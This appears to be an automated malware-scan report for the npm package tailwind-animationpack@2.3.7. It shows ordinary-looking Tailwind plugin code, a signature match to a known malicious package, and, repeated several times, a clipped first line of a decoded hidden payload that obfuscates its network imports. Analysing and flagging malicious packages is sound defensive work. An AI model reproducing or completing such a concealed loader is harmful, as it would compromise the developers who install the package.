tailwind-animationpack@2.3.7: Malicious npm security report

Loading npm security reports…

tailwind-animationpack@2.3.7: Malicious npm security report | LPM Firewall

Source & flagged code

4 flagged

src/index.jsView file

Lines 1-15javascript

1const plugin = require('tailwindcss/plugin')

3module.exports = plugin(api => {

4 require('./compat/composition')(api)

5 require('./compat/delay')(api)

6 require('./compat/direction')(api)

7 require('./compat/duration')(api)

8 require('./compat/fill-mode')(api)

9 require('./compat/iteration-count')(api)

10 require('./compat/play-state')(api)

11 require('./compat/timing-function')(api)

12}, {

13 theme: require('./compat/theme'),

14}); ...

Low

Eval

Package source references a known benign dynamic code generation pattern.

src/index.jsView on unpkg · L13

Long lines were clipped for display.

•matchType = malicious_source_fingerprint_signature signature = 486057a664947d76 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = tailwind-animationgroup@2.3.7 matchedPath = src/index.js matchedIdentity = npm:dGFpbHdpbmQtYW5pbWF0aW9uZ3JvdXA:2.3.7 similarity = 1.000 shingleOverlap = 3 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

src/index.jsView on unpkg

src/compat/theme.jsView file

Lines 1-21javascript

1const { getBareMilliseconds, getBareIntegers } = require('./helper/bare-values')

Medium

Dynamic Require

Package source references dynamic require/import behavior.

src/compat/theme.jsView on unpkg · L1

3const bareMilliseconds = getBareMilliseconds()

src/index.js#virtual:base64:round1View file

1global.i="A8-##";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=re...

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

src/index.js#virtual:base64:round1View on unpkg · L1

Source & flagged code

4 flagged · loading source

src/index.jsView file

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

src/index.jsView on unpkg

13theme: require('./compat/theme'), L14: }); ...

Low

Eval

Package source references a known benign dynamic code generation pattern.

src/index.jsView on unpkg · L13

src/compat/theme.jsView file

1const { getBareMilliseconds, getBareIntegers } = require('./helper/bare-values') L2:

Medium

Dynamic Require

Package source references dynamic require/import behavior.

src/compat/theme.jsView on unpkg · L1

src/index.js#virtual:base64:round1View file

1global.i="A8-##";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=re...

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

src/index.js#virtual:base64:round1View on unpkg · L1

Source & flagged code

4 flagged

src/index.jsView file

Lines 1-15javascript

1const plugin = require('tailwindcss/plugin')

3module.exports = plugin(api => {

4 require('./compat/composition')(api)

5 require('./compat/delay')(api)

6 require('./compat/direction')(api)

7 require('./compat/duration')(api)

8 require('./compat/fill-mode')(api)

9 require('./compat/iteration-count')(api)

10 require('./compat/play-state')(api)

11 require('./compat/timing-function')(api)

12}, {

13 theme: require('./compat/theme'),

14}); ...

Low

Eval

Package source references a known benign dynamic code generation pattern.

src/index.jsView on unpkg · L13

Long lines were clipped for display.

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

src/index.jsView on unpkg

src/compat/theme.jsView file

Lines 1-21javascript

1const { getBareMilliseconds, getBareIntegers } = require('./helper/bare-values')

Medium

Dynamic Require

Package source references dynamic require/import behavior.

src/compat/theme.jsView on unpkg · L1

3const bareMilliseconds = getBareMilliseconds()

src/index.js#virtual:base64:round1View file

1global.i="A8-##";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=re...

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

src/index.js#virtual:base64:round1View on unpkg · L1

tailwind-animationpack@2.3.7

AI Security Review

OSV Corroboration

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code